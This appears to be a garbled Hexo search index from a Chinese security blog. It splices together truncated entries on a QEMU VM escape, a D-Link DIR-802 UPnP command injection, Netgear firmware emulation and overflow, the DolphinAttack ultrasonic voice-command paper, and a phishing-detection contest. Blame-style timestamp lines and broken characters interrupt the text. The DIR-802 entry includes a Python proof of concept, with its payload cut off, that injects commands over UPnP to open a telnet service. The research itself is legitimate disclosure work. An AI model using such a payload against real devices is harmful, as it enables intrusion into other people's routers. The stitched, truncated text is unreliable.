2019-04-15 07:42:42 +00:00
<?xml version="1.0" encoding="utf-8"?>
2021-04-10 20:13:11 +00:00
<search >
<entry >
<title > VM escape-QEMU Case Study</title>
<link href= "/2021/04/10/vm-escape1/" />
<url > /2021/04/10/vm-escape1/</url>
<content type= "html" > <![CDATA[<h2 id="1-Intro"> <a href= "#1-Intro" class= "headerlink" title= "1 Intro" > </a> 1 Intro</h2> <p > 如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在<em > 受控和受限</em> 的环境中分析恶意软件。 一个自然的问题出现了:<strong > 恶意软件能否从虚拟机中逃脱并在主机上执行代码?</strong> </p> <p > 2015年, 来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误( <a href= "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3456" target= "_blank" rel= "noopener" > CVE-2015-3456</a> ) , 该错误影响了虚拟软盘驱动器代码, 这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注, 可能是因为它有一个专用名( <a href= "https://www.crowdstrike.com/blog/venom-vulnerability-details/" target= "_blank" rel= "noopener" > VENOM</a> ),这并不是第一个此类漏洞。</p> <p > 2011年, <a href= "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Elhage_Virtunoid_WP.pdf" target= "_blank" rel= "noopener" > Nelson Elhage</a> 在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的<a href= "https://github.com/nelhage/virtunoid" target= "_blank" rel= "noopener" > 漏洞</a> 。</p> <p > 2016年, 来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞( CVE-2015-5165和CVE-2015-7504) 。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。</p> <p > 在本文中, 我们提供了对CVE-2015-5165( 一个内存泄漏漏洞) 和CVE-2015-7504( 一个基于堆的溢出漏洞) 的深入分析, 以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。</p> <p > 我们讨论了技术细节, 以利用QEMU的<strong > 网卡设备仿真</strong> 中的漏洞, 并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。</p> <h2 id= "2-KVM-QEMU-Overview" > <a href= "#2-KVM-QEMU-Overview" class= "headerlink" title= "2 KVM/QEMU Overview" > </a> 2 KVM/QEMU Overview</h2> <p > KVM( Kernal-based Virtual Machine, 基于内核的虚拟机) 是一个内核模块, 可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。</p> <p > KVM的用户空间组件包含在主线QEMU( 快速仿真器) 中, 该QEMU特别处理设备仿真。</p> <h3 id= "2-1-Workspace-Environment" > <a href= "#2-1-Workspace-Environment" class= "headerlink" title= "2.1 Workspace Environment" > </a> 2.1 Workspace Environment</h3> <p > 为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。</p> <p > 由于我们定位的漏洞已经修复, 因此我们需要签出QEMU存储库的源, 并切换到这些漏洞的修复之前的提交。 然后, 我们仅为目标x86_64配置QEMU并启用调试, 在我们的测试环境中, 我们使用Gcc的4.9.2版构建QEMU: </p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > $ git clone git://git.qemu-project.org/qemu.git</span> <br > <span class= "line" > $</span> <br > <span class= "line" > $ git checkout bd80b59</span> <br > <span class= "line" > $ mkdir -p bin/debug/native</span> <br > <span class= "line" > $ cd bin/debug/native</span> <br > <span class= "line" > $ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror</span> <br > <span class= "line" > $ make</span> <br > </pre> </td> </tr> </table> </figure> <p > 使用qemu-img来生成<E7949F> <E68890>
2021-01-08 08:35:03 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > Pwn </category>
2021-01-08 08:35:03 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > CVE </tag>
<tag > QEMU </tag>
<tag > 信息泄露 </tag>
</tags>
</entry>
<entry >
<title > DIR-802 OS Command Injection</title>
<link href= "/2021/03/02/DIR-802-OS-Command-Injection/" />
<url > /2021/03/02/DIR-802-OS-Command-Injection/</url>
<content type= "html" > <![CDATA[<h3 id="D-LINK-DIR-802-命令注入漏洞"><a href="#D-LINK-DIR-802-命令注入漏洞" class="headerlink" title="D-LINK DIR-802 命令注入漏洞"></a>D-LINK DIR-802 命令注入漏洞</h3><blockquote><p>by Cool</p></blockquote><h4 id="漏洞已提交厂商"><a href="#漏洞已提交厂商" class="headerlink" title="漏洞已提交厂商"></a>漏洞已提交厂商</h4><p><a href="https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206" target="_blank" rel="noopener">https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206</a></p><h4 id="漏洞类型"><a href="#漏洞类型" class="headerlink" title="漏洞类型"></a>漏洞类型</h4><p>CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘ OS Command Injection’ )</p><h4 id="受影响设备及软件版本"><a href="#受影响设备及软件版本" class="headerlink" title="受影响设备及软件版本"></a>受影响设备及软件版本</h4><p>DIR-802 hardware revision Ax before v1.00b05<br><a href="https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0" target="_blank" rel="noopener">https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0</a>;</p><h4 id="漏洞概要"><a href="#漏洞概要" class="headerlink" title="漏洞概要"></a>漏洞概要</h4><p>DIR-802中存在一个命令注入漏洞, 攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。</p><h4 id="漏洞详情"><a href="#漏洞详情" class="headerlink" title="漏洞详情"></a>漏洞详情</h4><p>与CVE-2020-15893相似, 在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下, 端口1900上启用了通用即插即用( UPnP) 。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”( ST) 字段来执行命令注入。</p><h4 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line">buf = <span class="string">'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service</span></span><br><span class="line"><span class="string">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span></span><br><span class="line"><span class="string">s.connect(("192.168.0.1", 1900))</span></span><br><span class="line"><span class="string">s.send(buf)</span></span><br><span class="line"><span class="string">s.close()</span></span><br></pre></td></tr></table></figure><h4 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h4><p>使用firmadyne进行固件模拟, 运行UPnP服务<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png" width="50%" height="50%"></p><p>攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口, 该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png" width="50%" height="50%"></p>]]> </content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > D-LINK </tag>
<tag > UPnP </tag>
<tag > 固件模拟 </tag>
</tags>
</entry>
<entry >
<title > 自动化获取nvram配置</title>
<link href= "/2021/01/08/nvram-config/" />
<url > /2021/01/08/nvram-config/</url>
<content type= "html" > <![CDATA[<p> ARMX作者说, nvram的内容必须从正在运行的设备中提取。<br > 一种方法是转储包含nvram数据的mtdblock, /proc/mtd可能有助于识别哪个mtdblock包含nvram。<br > 另一种方法是, 如果您可以通过UART进行命令行访问( 当然可以访问实际的硬件) , 某些固件会提供nvram命令, 运行“ nvram show”也可以获取nvram内容。<br > <a href= "https://github.com/therealsaumil/armx/issues/4" target= "_blank" rel= "noopener" > https://github.com/therealsaumil/armx/issues/4</a> </p> <p > 知道创宇的研究人员说, nvram配置, 可以查看对应的汇编代码逻辑( 配置的有问题的话很容易触发段错误) 。</p> <p > 我需要无需硬件自动化的处理大批设备的nvram配置, 上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te’ d</p> <ul > <li > upnp等二进制程序通过nvram_match来匹配nvram变量与预期值</li> <li > libnvram在data段存储了设备的默认nvram配置, <strong > 数据段</strong> ( data segment) 通常是指用来存放<a href= "https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F" target= "_blank" rel= "noopener" > 程序</a> 中已<a href= "https://zh.wikipedia.org/w/index.php?title=%E5%88%9D%E5%A7%8B%E5%8C%96%E4%B8%94%E4%B8%8D%E4%B8%BA0&action=edit&redlink=1" target= "_blank" rel= "noopener" > 初始化且不为0</a> 的<a href= "https://zh.wikipedia.org/wiki/%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F" target= "_blank" rel= "noopener" > 全局变量</a> 的一块内存区域。数据段属于<a href= "https://zh.wikipedia.org/wiki/%E9%9D%99%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D" target= "_blank" rel= "noopener" > 静态内存分配</a> 。</li> </ul> <p > 于是根据这两个事实做了两个实验:</p> <h2 id= "match函数" > <a href= "#match函数" class= "headerlink" title= "match函数" > </a> match函数</h2> <p > 该函数的逻辑如下, a1为要查询的key, a2为待比较的对应value, 调用nvram_get获得nvram中a1的value, 然后和a2比较, 相同的话返回1。</p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > const char *__fastcall acosNvramConfig_match(int a1, const char *a2)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > const char *v2; // r4</span> <br > <span class= "line" > const char *result; // r0</span> <br > <span class= "line" > int v4; // [sp+0h] [bp-1008h]</span> <br > <span class= "line" > </span> <br > <span class= "line" > v2 = a2;</span> <br > <span class= "line" > result = (const char *)j_nvram_get(a1, & v4, 4096);</span> <br > <span class= "line" > if ( result )</span> <br > <span class= "line" > result = (const char *)(strcmp(result, v2) == 0);</span> <br > <span class= "line" > return result;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> <p > 在upnp二进制程序汇编代码中, 调用acosNvramConfig_match来比较nvram<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094619/nvram/image_24.png" a l t > <br > 我做出了一个假设: 所有a2都是能够使程序正常运行的nvram值, 现在想要获取它。编写IDA脚本如下: </p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13</span> <br > <span class= "line" > 14</span> <br > <span class= "line" > 15</span> <br > <s
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > UPnP </tag>
<tag > 固件模拟 </tag>
<tag > Netgear </tag>
<tag > NVRAM </tag>
</tags>
</entry>
<entry >
<title > Netgear_栈溢出漏洞_PSV-2020-0211</title>
<link href= "/2021/01/08/Netgear-psv-2020-0211/" />
<url > /2021/01/08/Netgear-psv-2020-0211/</url>
<content type= "html" > <![CDATA[<p> <strong > 固件模拟与UPnP栈溢出利用</strong> <br > <a href= "https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target= "_blank" rel= "noopener" > https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211</a> <br > <a href= "https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target= "_blank" rel= "noopener" > https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/</a> <br > <a href= "https://paper.seebug.org/1311/#1" target= "_blank" rel= "noopener" > https://paper.seebug.org/1311/#1</a> <br > <a href= "https://www.anquanke.com/post/id/217606" target= "_blank" rel= "noopener" > https://www.anquanke.com/post/id/217606</a> </p> <h2 id= "0x00-漏洞概要" > <a href= "#0x00-漏洞概要" class= "headerlink" title= "0x00 漏洞概要" > </a> <strong > 0x00 漏洞概要</strong> </h2> <table > <thead > <tr > <th > 漏洞编号:</th> <th > PSV-2020-0211</th> </tr> </thead> <tbody > <tr > <td > 披露时间:</td> <td > <em > 2020 -07-31 — <a href= "https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target= "_blank" rel= "noopener" > Netgear 官方发布安全公告</a> </em> 2020-08-18 – <a href= "https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target= "_blank" rel= "noopener" > 漏洞公开披露</a> </td> </tr> <tr > <td > 影响厂商:</td> <td > Netgear</td> </tr> <tr > <td > 漏洞类型:</td> <td > 栈溢出漏洞</td> </tr> <tr > <td > 漏洞评分( CVSS) : </td> <td > 9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)</td> </tr> <tr > <td > 利用条件:</td> <td > 该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务, 无需身份验证。</td> </tr> <tr > <td > 漏洞成因:</td> <td > 该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。</td> </tr> </tbody> </table> <h2 id= "0x01-威胁范围" > <a href= "#0x01-威胁范围" class= "headerlink" title= "0x01 威胁范围" > </a> <strong > 0x01 威胁范围</strong> </h2> <table > <thead > <tr > <th > 影响范围:</th> <th > R8300 running firmware versions prior to 1.0.2.134</th> </tr> </thead> <tbody > <tr > <td > ZoomEye查询结果: </td> <td > Netgear R8300共有579台设备暴露在互联网上, 绝大部分分布在美国, 少量设备出现在欧洲</td> </tr> <tr > <td > —</td> <td > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png" a l t > </td> </tr> <tr > <td > </td> </tr> </tbody> </table> <h2 id= "0x02-Qemu模拟" > <a href= "#0x02-Qemu模拟" class= "headerlink" title= "0x02 Qemu模拟" > </a> 0x02 Qemu模拟</h2> <table > <thead > <tr > <th > 真机调试</th> <th > 硬件调试接口</th> <th > uart</th> </tr> </thead> <tbody > <tr > <td > 历史RCE</td> <td > NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞</td> </tr> <tr > <td > 设备后门开启telnet</td> <td > <a href= "https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500" target= "_blank" rel= "noopener" > Unlocking the Netgear Telnet Console</a> </td> </tr> <tr > <td > 固件篡改植入telnet</td> <td > </td> </tr> <tr > <td > 固件模拟</td> <td > QEMU</td> <td > 现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。</td> </tr> <tr > <td > 树莓派、开发板</td> <td > 只要 CPU 指令集对的上,就可以跑起来</td> </tr> <tr > <td > firmadyne</td> <td > 基于qemu定制</td> </tr> <tr > <td > Qemu STM32</td> <td > </td> </tr> <tr > <td > Avatar</td> <td > 混合式仿真</td> </tr> </tbody> </table> <p > <a href= "http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf" target= "_blank" rel= "noopener" > 嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf</a> </p> <p > 由于没有真机,我们采用了固件模拟的方式来搭建分析环境。<br > 首先下载有问题的固件 R8300 Firmware Version 1.0
2019-10-25 13:13:53 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2019-10-25 13:13:53 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > UPnP </tag>
<tag > 固件模拟 </tag>
<tag > Netgear </tag>
</tags>
</entry>
<entry >
<title > Dolphin Attack 论文复现</title>
<link href= "/2021/01/08/dolphin-attack-practice/" />
<url > /2021/01/08/dolphin-attack-practice/</url>
<content type= "html" > <![CDATA[<h1 id="海豚音攻击-复现"> <a href= "#海豚音攻击-复现" class= "headerlink" title= "海豚音攻击-复现" > </a> 海豚音攻击-复现</h1> <p > 文章中提到两种方案,一是具有信号发生器的强大变送器,二是带有智能手机的便携式变送器;前一种方案成本过于高,本文不做分析,后一种方案的实现成本在我们可接收的范围。<br > 但原文中对后一方案的实现没有太多介绍,于是我通过邮件咨询了作者-闫琛博士,闫博士非常友好,我是在晚上十点发送的第一封邮件,差不多在十分钟内通过几封邮件的交流,解决了我的问题,很快确定了我的具体实现路径,非常感谢大佬!</p> <ul > <li > Q: 使用便携式设备攻击的时候, 三星Galaxy S6 Edge发送的高频声音信号是怎么生成的呢? 是预先使用专业设备调制好的信号保存为mp3吗? </li> <li > A: 通过软件调制,生成.wav的超声波音频文件, 再通过三星手机播放的。</li> <li > Q: 用的是什么软件进行调制?</li> <li > A: 用过matlab和python, 都是可以的</li> </ul> <h2 id= "0x01-语音命令生成" > <a href= "#0x01-语音命令生成" class= "headerlink" title= "0x01 语音命令生成" > </a> 0x01 语音命令生成</h2> <p > <a href= "https://ttstool.com/" target= "_blank" rel= "noopener" > https://ttstool.com/</a> <br > 微软的TTS接口生成的是mp3格式音频, 一般来说我们使用python处理音频都是针对wav格式。<br > <a href= "https://www.aconvert.com/cn/audio/mp3-to-wav/" target= "_blank" rel= "noopener" > https://www.aconvert.com/cn/audio/mp3-to-wav/</a> <br > 我们可以通过这个网站对格式做转换。<br > <a href= "https://coolyim.quip.com/-/blob/OVVAAAmjZcr/Eq9qXdQ7_eD5KQaR33wCCw?name=xiaoyi.wav" target= "_blank" rel= "noopener" > xiaoyi.wav</a> <br > 这个网站的采样率最高只能达到96000hz<br > <a href= "https://coolyim.quip.com/-/blob/OVVAAAmjZcr/aZfltfEV_ZxV1LCGznB1OA?name=6wxmu-crusr.wav" target= "_blank" rel= "noopener" > 6wxmu-crusr.wav</a> </p> <h2 id= "0x02-语音命令调制" > <a href= "#0x02-语音命令调制" class= "headerlink" title= "0x02 语音命令调制" > </a> 0x02 语音命令调制</h2> <p > 生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性, DolphinAttack必须利用幅度调制( AM) 。</p> <h3 id= "AM调制原理" > <a href= "#AM调制原理" class= "headerlink" title= "AM调制原理" > </a> AM调制原理</h3> <p > 使载波的振幅按照所需传送信号的变化规律而变化, 但频率保持不变的调制方法。调幅在有线电或无线电通信和广播中应用甚广。调幅是高频载波的振幅随信号改变的调制( AM) 。其中, 载波信号的振幅随着调制信号的某种特征的变换而变化。例如, 0或1分别对应于无载波或有载波输出, 电视的图像信号使用调幅。调频的抗干扰能力强, 失真小, 但服务半径小。<br > 假设载波uc(t)和调制信号的频率分别为ωc和Ω, 在已调波中包含三个频率成分: ωc、ωc+Ω和ωc-Ω。ωc+Ω称为上边频, ωc-Ω称为下边频。</p> <p > <a href= "https://epxx.co/artigos/ammodulation.html" target= "_blank" rel= "noopener" > https://epxx.co/artigos/ammodulation.html</a> <br > <a href= "http://www.chenjianqu.com/show-44.html" target= "_blank" rel= "noopener" > http://www.chenjianqu.com/show-44.html</a> <br > <a href= "https://zhuanlan.zhihu.com/p/54561504" target= "_blank" rel= "noopener" > https://zhuanlan.zhihu.com/p/54561504</a> <br > <a href= "http://www.mwhitelab.com/archives/208" target= "_blank" rel= "noopener" > http://www.mwhitelab.com/archives/208</a> </p> <h3 id= "使用python调制" > <a href= "#使用python调制" class= "headerlink" title= "使用python调制" > </a> 使用python调制</h3> <p > 现在我们已经有了基带信号,使用<a href= "https://www.fosshub.com/Audacity.html" target= "_blank" rel= "noopener" > Audacity</a> 对其进行频谱分析, 此语音的带宽或频谱( 左图为采样频率48khz音频, 右图为96khz) : <br > <img s r
2019-07-25 14:22:59 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 顶会论文 </category>
2019-07-25 14:22:59 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 硬件攻击 </tag>
<tag > 传感器 </tag>
<tag > 语音助手 </tag>
</tags>
</entry>
<entry >
<title > Dolphin Attack 论文翻译</title>
<link href= "/2021/01/08/Dolphin-Attack/" />
<url > /2021/01/08/Dolphin-Attack/</url>
<content type= "html" > <![CDATA[<h1 id="海豚音攻击"> <a href= "#海豚音攻击" class= "headerlink" title= "海豚音攻击" > </a> 海豚音攻击</h1> <p > <a href= "https://acmccs.github.io/papers/p103-zhangAemb.pdf" target= "_blank" rel= "noopener" > https://acmccs.github.io/papers/p103-zhangAemb.pdf</a> <br > <a href= "https://github.com/USSLab/DolphinAttack" target= "_blank" rel= "noopener" > https://github.com/USSLab/DolphinAttack</a> <br > <a href= "https://zhuanlan.zhihu.com/p/29306026" target= "_blank" rel= "noopener" > https://zhuanlan.zhihu.com/p/29306026</a> </p> <h2 id= "Abstract" > <a href= "#Abstract" class= "headerlink" title= "Abstract" > </a> Abstract</h2> <p > 诸如Siri或Google Now之类的语音识别( SR) 系统已经成为一种越来越流行的人机交互方法, 并将各种系统转变为语音可控系统( VCS) 。先前对VCS进行攻击的工作表明, 人们无法理解的隐藏语音命令可以控制系统。隐藏的语音命令尽管是“隐藏的”, 但还是可以听到的。在这项工作中, 我们设计了一个完全听不见的攻击DolphinAttack, 它可以调制超声载波上的语音命令( 例如f> 20 kHz) , 以实现听不清。通过利用麦克风电路的非线性特性, 语音识别系统可以成功地解调, 恢复调制的低频音频命令, 并对其进行更重要的解释。我们在流行的语音识别系统上验证了DolphinAttack, 包括Siri, Google Now, 三星S Voice, 华为HiVoice, Cortana和Alexa。通过注入一系列听不见的语音命令, 我们展示了一些概念验证攻击, 包括激活Siri以在iPhone上发起FaceTime通话, 激活Google Now以将手机切换为飞行模式, 甚至操纵导航系统在奥迪汽车上。我们提出了硬件和软件防御解决方案。我们验证通过使用支持向量机( SVM) 对音频进行分类来检测DolphinAttack是可行的, 并建议重新设计语音可控系统, 以应对听不见的语音命令攻击。</p> <p > 关键字: 语音可控系统, 语音识别, MEMS麦克风, 安全分析, 防御</p> <h2 id= "1-Introduction" > <a href= "#1-Introduction" class= "headerlink" title= "1 Introduction" > </a> 1 Introduction</h2> <p > 语音识别( SR) 技术允许机器或程序识别口语单词并将其转换为机器可读格式。 由于它的可访问性,效率以及最近在识别精度方面的进步,它已成为越来越流行的人机交互机制。 结果, 语音识别系统已将各种各样的系统变成语音可控系统( VCS) : Apple Siri [5]和Google Now [21]允许用户通过语音发起电话呼叫; Alexa [4]已使用户能够指示Amazon Echo订购外卖, 安排Uber骑行等。随着研究人员将大量精力投入到改善SR系统的性能上, 人们对语音识别和语音的了解程度却鲜为人知。 可控系统在故意和偷偷摸摸的攻击下表现良好。<br > 先前的工作[10、61]已经表明, SR系统可以理解人类难以理解的混淆语音命令, 因此可以控制系统而不会被检测到。 这些语音命令虽然是“隐藏的”,但仍然可以听见并且仍然很明显。 本文旨在研究难以检测到的攻击的可行性,并且本文受到以下关键问题的驱动:语音命令是否可以被人听不见,而仍然可以被设备听见,并且可以被语音识别系统理解? 注入一系列听不见的语音命令是否会导致语音可控系统出现未注意到的安全漏洞? 为了回答这些问题, 我们设计了DolphinAttack, 这是一种通过利用超声通道( 即f> 20 kHz) 和基础音频硬件的漏洞在VCS处注入听不见的语音命令的方法。<br > 由于以下疑问,听不见的语音命令似乎不可行。<br > ( a) 设备如何听到听不到的声音? 人类声音和听力的上限频率为20 kHz。因此, 大多数具有音频功能的设备( 例如电话) 采用低于44 kHz的音频采样率, 并应用低通滤波器来消除高于20 kHz的信号[32]。先前的工作[61]认为不可能接收20 kHz以上的声音。<br > ( b) SR系统如何理解听不见的声音? 即使超声被硬
2021-04-10 10:53:27 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 顶会论文 </category>
2021-04-10 10:53:27 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 硬件攻击 </tag>
<tag > 传感器 </tag>
<tag > 语音助手 </tag>
</tags>
</entry>
<entry >
<title > DataCon Coremail邮件安全第三题 Writeup</title>
<link href= "/2020/10/16/coremail/" />
<url > /2020/10/16/coremail/</url>
<content type= "html" > <![CDATA[<h2 id="赛题理解"> <a href= "#赛题理解" class= "headerlink" title= "赛题理解" > </a> 赛题理解</h2> <h3 id= "目标" > <a href= "#目标" class= "headerlink" title= "目标" > </a> 目标</h3> <blockquote > <p > 在真实的企业网络环境中,一些攻击者总能想方设法绕过邮件检测引擎,使攻击邮件抵达员工的收件箱,最终达到窃取用户登录凭证等目的。与此同时,企业网络安全管理团队的精力十分有限,不可能实现对企业的全部邮件进行逐一审查。</p> </blockquote> <blockquote > <p > 如果你是一家企业的邮件安全负责人,能否基于数据分析,利用长达三个月的企业邮件服务器日志摘要信息,设计检测模型,输出一批威胁程度较高的邮件,以便于后续的人工审查。请注意:检测模型不允许使用第三方威胁情报,检测系统必须能够离线运行。</p> </blockquote> <p > 从赛题说明中,我们可以提取出几个关键词:邮件、窃取用户凭证、威胁程度、离线运行,最终目的是从邮件通信日志中筛选出钓鱼邮件(窃取用户登录凭证)。</p> <h3 id= "数据" > <a href= "#数据" class= "headerlink" title= "数据" > </a> 数据</h3> <blockquote > <p > 约80万封邮件通信日志, 赛事主办方已经对数据进行了脱敏和匿名化处理。</p> </blockquote> <blockquote > <p > 提示: 根据既往经验知识, 威胁程度较高的邮件规模约在2千至2万左右。</p> </blockquote> <p > 主办方给了威胁邮件的大致数量范围, 邮件通信日志与第一题真实的邮件格式不同, 每一封邮件都是json格式的数据, 只保留了8个字段, 而且做了匿名化处理。</p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > * rcpt: 收信人邮箱地址 ---> [salt+hash]@[salt+hash替换掉敏感域名, 其它保留].[真实TLD]</span> <br > <span class= "line" > * sender: 发件人邮箱地址 ---> 同上</span> <br > <span class= "line" > * ip: 企业邮箱用户登录ip ---> 经过映射处理, 不是真实的ip地址, 但保留子网关系</span> <br > <span class= "line" > * fromname: 发信人名称 ---> 对于白名单关键词( 比如admin, hr, 管理员, 经理等) 进行保留。除了白名单的其它部分salt+hash</span> <br > <span class= "line" > * url: 直接从邮件正文、subject、附件、fromname中提取出来的url ---> [真实协议]://hash+salt替换掉敏感域名.真实TLD/真实参数</span> <br > <span class= "line" > * @timestamp: 时间戳</span> <br > <span class= "line" > * region: 企业邮箱用户登录ip所在地区</span> <br > <span class= "line" > * authuser: 收信时False, 发信时True, 注意企业邮箱域内互发的话是只有一条发信记录</span> <br > <span class= "line" > * tag: 邮件编号, 提交答案需要用到</span> <br > </pre> </td> </tr> </table> </figure> <h3 id= "提交规则" > <a href= "#提交规则" class= "headerlink" title= "提交规则" > </a> 提交规则</h3> <p > 主办方给的方法很简单, 每一封邮件均有字段tag, 结果只需要每行一个威胁邮件的tag, 换行使用<code > \n</code> </p> <h3 id= "评分" > <a href= "#评分" class= "headerlink" title= "评分" > </a> 评分</h3> <blockquote > <p > 比赛过程中排行榜展示每位选手的F1-score, 未提交答案F1-score视为0, 比赛结束后, 每位选手的得分由<code > min-max归一化*100</code> 计算得出, 保留1位小数( 四舍五入) </p> </blockquote> <p > 最终得分不仅取决于自己的F1-score, 还取决于所有选手的整体成绩。另外利用F1-score, 我们还能推测出这80万封邮件中大致的威胁邮件数量, 后续再说。</p> <h2 id= "解题思路" > <a href= "#解题思路" class= "headerlink" t i t l e
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
